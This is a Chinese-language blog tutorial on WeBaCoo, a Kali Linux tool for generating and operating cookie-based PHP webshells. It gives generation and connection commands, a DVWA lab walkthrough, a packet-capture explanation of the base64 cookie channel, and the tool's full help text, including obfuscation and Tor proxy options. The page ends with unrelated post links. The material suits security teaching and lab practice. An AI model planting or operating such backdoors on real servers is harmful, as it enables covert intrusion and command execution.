kali中的webshell工具--webacoo
webacoo
webshell其实就是放置在服务器上的一段代码
kali中生成webshell的工具
WeBaCoo(Web Backdoor Cookie)

特点及使用方法
- 类终端的shell
 - 编码通信内容通过cookie头传输,隐蔽性强
 - cookie中传递数据使用的参数:
- cm:base64编码的命令
 - cn:服务器用于返回数据的cookie头的名
 - cp:返回信息定界符
 
 - 生成服务端
- Webacoo -g -o a.php
 
 - 客户端连接
- Webacoo -t -u http://x.x.x.x/a.php
 
 
生成一个webshell测试:

查看文件内容可以看到是被base64加密的

在DVWA靶机环境中上传该文件

然后使用webacoo连接服务器
成功连接:

可以直接执行系统命令:

webacoo的隐蔽性高之一是因为他采用的是cookie传参,且为base64加密
接着使用wireshark抓包查看其cookie参数:

这里cm选项中的字符串经过解码后就是我们传入的命令ls

服务器端返回的setcookie中的M-cookie字段就是命令返回的结果,cp变量值为QXg@和M-cookie中的开头对应,为界定符。
这里的M-cookie可以在连接webshell时通过-c参数自定义:

除此外,webacoo还可以在连接时使用-p选项,通过代理服务器连接目标服务器
更多参数可以通过webacoo -h查看帮助手册
 root@bogon:~# webacoo -h
     WeBaCoo 0.2. - Web Backdoor Cookie Script-Kit
     Copyright (C) - Anestis Bechtsoudis
     { @anestisb | anestis@bechtsoudis.com | http(s)://bechtsoudis.com }
 Usage: webacoo [options]
 Options:
   -g        Generate backdoor code (-o is required)
   -f FUNCTION    PHP System function to use
     FUNCTION
         : system     (default)
         : shell_exec
         : exec
         : passthru
         : popen
   -o OUTPUT    Generated backdoor output filename
   -r         Return un-obfuscated backdoor code
   -t        Establish remote "terminal" connection (-u is required)
   -u URL    Backdoor URL
   -e CMD    Single command execution mode (-t and -u are required)
   -m METHOD    HTTP method to be used (default is GET)
   -c C_NAME    Cookie name (default: "M-cookie")
   -d DELIM    Delimiter (default: New random for each request)
   -a AGENT    HTTP header user-agent (default exist)
   -p PROXY    Use proxy (tor, ip:port or user:pass:ip:port)
   -v LEVEL    Verbose level
     LEVEL
         : no additional info (default)
         : print HTTP headers
         : print HTTP headers + data
   -l LOG    Log activity to file
   -h        Display help and exit
   update    Check for updates and apply if any
kali中的webshell工具--webacoo的更多相关文章
- kali下的webshell工具-Weevely
		
Weevely ------------------------------------------------ 主要特点: · 隐蔽的类终端的PHP webshell · ...
 - kali中的webshell
		
webacoo -g 生成一句话 -o 输出文件 -r 不混淆代码 -t 连接模式 -u 制定URL 生成一句话 webacoo -g -o a.php 连接一句话 webacoo -t -u htt ...
 - kali下一些代理工具的简单描述
		
前言 最近几天了解了kali中一些代理工具的基本使用,做一个小小的总结,kali操作系统的官网为 www.kali.org,感兴趣的可以去官网下载镜像,如何安装这里就不在讲解了,百度有很多教程.新手这 ...
 - Kali 2.0 Web后门工具----WebaCoo、weevely、PHP Meterpreter
		
注:以下内容仅供学习使用,其他行为均与作者无关!转载请注明出处,谢谢! 本文将介绍 Kali 2.0 版本下的三款Web后门工具:WebaCoo.weevely.PHP Meterpreter,这类工 ...
 - Kali中密码暴力破解工具hydra的使用
		
前言 hydra是著名黑客组织thc的一款开源的暴力破解密码工具,功能非常强大,kali下是默认安装的,几乎支持所有协议的在线破解.密码能否破解,在于字典是否强大.本文仅从安全角度去讲解工具的使用,请 ...
 - Kali Linux Web后门工具、Windows操作系统痕迹清除方法
		
Kali Linux Web后门工具 Kali的web后门工具一共有四款,今天只介绍WebaCoo 首先介绍第一个WeBaCoo(Web Backdoor Cookie) WeBaCoo是一款隐蔽的脚 ...
 - kali中的中国菜刀weevely
		
weevely是一个kali中集成的webshell工具,是webshell的生成和连接集于一身的轻量级工具,生成的后门隐蔽性比较好,是随机生成的参数并且加密的,唯一的遗憾是只支持php,weevel ...
 - Kali Linux 弱点分析工具全集
		
『弱点分析』与『信息收集』类工具的定位非常不同,其中包含大量的模糊测试工具.正确使用这些工具,将有助于我们发现可能存在的零日漏洞.同时此类工具中还包含了大量VoIP相关的渗透测试工具,这可能是安全人员 ...
 - 在windows系统和kali中通过sqlmap注入
		
第1章 在windows系统中通过sqlmap注入 1.1 环境搭建 Sqlmap是目前功能最强大,使用最为广泛的注入类工具,是一个开源软件,被集成于kaliLinux, 由于sqlmap是基于Pyt ...
 
随机推荐
- 第二章    Python基本图形绘制
			
2.1 深入理解Python语言 Python语言是通用语言 Python语言是脚本语言 Python语言是开源语言 Python语言是跨平台语言 Python语言是多模型语言 Python的特点与优 ...
 - 如何在本地测试Fabric Code
			
前一篇博客讲到了如何编译本地的Fabric Code成镜像文件,那么如果我们想改Fabric源代码,实现一些Fabric官方并没有提供的功能,该怎么办呢?这时我们除了改源码,增加需要的功能外,还需要能 ...
 - 利用unittest+ddt进行接口测试(一):简单demo
			
一般进行接口测试时,每个接口的传参都不止一种情况,一般会考虑正向.逆向等多种组合.所以在测试一个接口时通常会编写多条case,而这些case除了传参不同外,其实并没什么区别. 这个时候就可以利用ddt ...
 - js数组中随机选取一个数值!!
			
var arr = ["太阳光大","成功是优点的发挥","不要小看自己", "口说好话","手心向下是助人& ...
 - VisualStudio 快捷键
			
ctrl + o : 打开当前文件所在文件目录 ctrl + 鼠标左键 : 转到方法或者字段定义
 - ubuntu beyond compare到期后续期
			
rm -f /home/agu/.config/bcompare/registry.dat 或者加入定时任务,每天10:00执行 crontab -e * 10 * * * rm -f /home/a ...
 - git的安装(和远程仓库建立连接)
			
安装完git 1.配置用户名和邮箱 $ git config --global user.name "My Name" $ git config --global user.em ...
 - 启动django时报错Watching for file changes with StatReloader(使用状态加载程序监视文件更改 )
			
原因:可能是Django版本和Python版本或者PyMysql版本不一致 解决:升级或者降级Django版本 命令如下: pip install django==2.1.7 #django==版本号 ...
 - let const var的区别与作用
			
今天第一次遇到const定义的变量,查阅了相关资料整理了这篇文章.主要内容是:js中三种定义变量的方式const, var, let的区别. 1.const定义的变量不可以修改,而且必须初始化. 1 ...
 - Android P添加一个可以让system_server进程访问的hal service需要改动的sepolicy文件
			
在device/sepolicy/common目录中: 修改文件attributes: attribute hal_newXX;attribute hal_newXX_client;attribute ...